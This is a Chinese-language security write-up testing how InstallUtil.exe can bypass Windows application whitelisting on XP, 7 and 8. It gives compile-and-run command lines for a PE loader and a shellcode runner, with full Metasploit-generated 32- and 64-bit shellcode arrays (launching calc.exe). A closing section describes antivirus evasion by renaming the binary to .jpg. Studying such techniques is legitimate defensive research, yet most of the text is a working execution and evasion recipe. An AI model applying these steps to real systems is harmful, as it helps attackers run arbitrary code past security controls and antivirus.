0x00 前言

---

subTee在部落格中不僅介紹瞭如何利用InstallUtil.exe直接執行pe檔案，還提到了另一種利用方式——利用InstallUtil執行shellcode 從subTee分享的程式碼可以看出其測試環境為64位、.net4.0環境，在360安全播報上發表的文章也認為執行環境必須是.net4.0以上，適用範圍很窄 但我並不這麼認為

下面我們透過實際測試得出我們的新結論。

注：上述涉及的連結：

• http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html
• http://bobao.360.cn/learning/detail/620.html

0x01 測試目標

---

測試兩種利用InstallUtil的方式，研究其使用環境

0x02 測試環境

---

xp x86
win7 x86
win7 x64
win8 x86
win8 x64

0x03 測試方法

---

1、利用InstallUtil.exe執行pe檔案

執行程式碼：

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

注：上篇有詳細介紹，本次不做具體介紹

2、利用InstallUtil.exe直接執行shellcode

下載連結：https://gist.github.com/subTee/a06d4ae23e2517566c52

下載檔案儲存為Shellcode.cs，按照其描述執行程式碼：

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe  /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

0x04 實際測試

---

注：根據不同作業系統版本，需要對上述利用程式碼作相應修改

1、xp x86

預設不包含.net環境，暫不測試，但可為最終結論提供參考

2、win7 x86

預設.net環境

如圖

（1）利用InstallUtil.exe執行pe檔案

.net 3.5無法成功編譯PELoader.cs

如圖

（2）利用InstallUtil.exe直接執行shellcode

透過msf生成32位shellcode

use windows/exec
set CMD calc.exe
set EXITFUNC thread
generate -t csharp

如圖

byte[] buf = new byte[195] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x20,0x63,0x00 };

替換Shellcode.cs中的byte[] shellcode

使用.net 2.0中的csc.exe和InstallUtil.exe，執行程式碼：

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe  /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

成功執行shellcode，彈出計算器

如圖

360成功查殺，如圖

2、win7 x64

預設.net環境

如圖

（1）利用InstallUtil.exe執行pe檔案

.net 3.5無法成功編譯PELoader.cs

（2）利用InstallUtil.exe直接執行shellcode

透過msf生成64位shellcode

use windows/x64/exec
set CMD calc.exe
set EXITFUNC thread
generate -t csharp

如圖

byte[] buf = new byte[276] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00 };

替換Shellcode.cs中的byte[] shellcode

使用.net 2.0 x64中的csc.exe和InstallUtil.exe，執行程式碼：

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe  /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

成功執行shellcode，彈出計算器

如圖

如果使用.net 2.0 x86中的csc.exe和InstallUtil.exe，執行程式碼：

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe  /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

會報錯，如圖

測試exeshellx64.exe查殺情況，360乾的不錯，查殺，如圖

3、win8 x86

預設.net環境，支援4.0

如圖

（1）利用InstallUtil.exe執行pe檔案

執行程式碼：

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

32位系統下執行發生異常

如圖

（2）利用InstallUtil.exe直接執行shellcode

使用.net 4.0中的csc.exe和InstallUtil.exe，執行程式碼：

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe  /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

成功執行shellcode，彈出計算器

如圖

測試win8x86exeshell.exe查殺情況，360乾的漂亮，查殺，如圖

4、win8 x64

預設.net環境，支援4.0，如圖

（1）利用InstallUtil.exe執行pe檔案

.net 4.0成功執行

如圖

（2）利用InstallUtil.exe直接執行shellcode

使用.net 4.0 x64中的csc.exe和InstallUtil.exe，執行程式碼：

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe  /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

報錯，如圖

使用.net 4.0 x86中的csc.exe和InstallUtil.exe，執行程式碼：

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe  /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

報錯，如圖

為了得出正確的結論，在win8 x64系統上面安裝.net framework x64 2.0

使用其中的csc.exe和InstallUtil.exe，執行程式碼：

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe  /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

成功執行shellcode，彈出計算器

如圖

0x05 補充

---

上述測試中作業系統自帶的.net環境並不絕對，如果安裝應用 也會預設安裝相應版本的.net 環境

0x06 測試結論

---

（1）利用InstallUtil.exe執行pe檔案

適用於64位系統、Microsoft .NET Framework 4.0環境

（2）利用InstallUtil.exe直接執行shellcode

適用於.NET Framework 2.0及特定環境

0x07 關於免殺

---

僅給出一種簡單有效的方法

參照上篇內容的思路，執行程式碼如下：

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe  /unsafe /platform:x64 /out:exeshell.jpg Shellcode.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.jpg

更改檔案字尾名即可逃過靜態查殺，至於主動防禦，全過程依然未觸發

如圖

正常開啟是一張損壞的圖片

查殺測試如圖

但實際上，可以透過這種方式開啟，如圖

0x08 小結

---

關於該項技術的利用方式還有很多，思路最重要

關於突破白名單的限制，其他方法比如利用PowerShell、Exploit/Migrate、WMI Providers、.COM代理突破白名單的限制的方法都很值得研究。

本文由三好學生原創並首發於烏雲drops，轉載請註明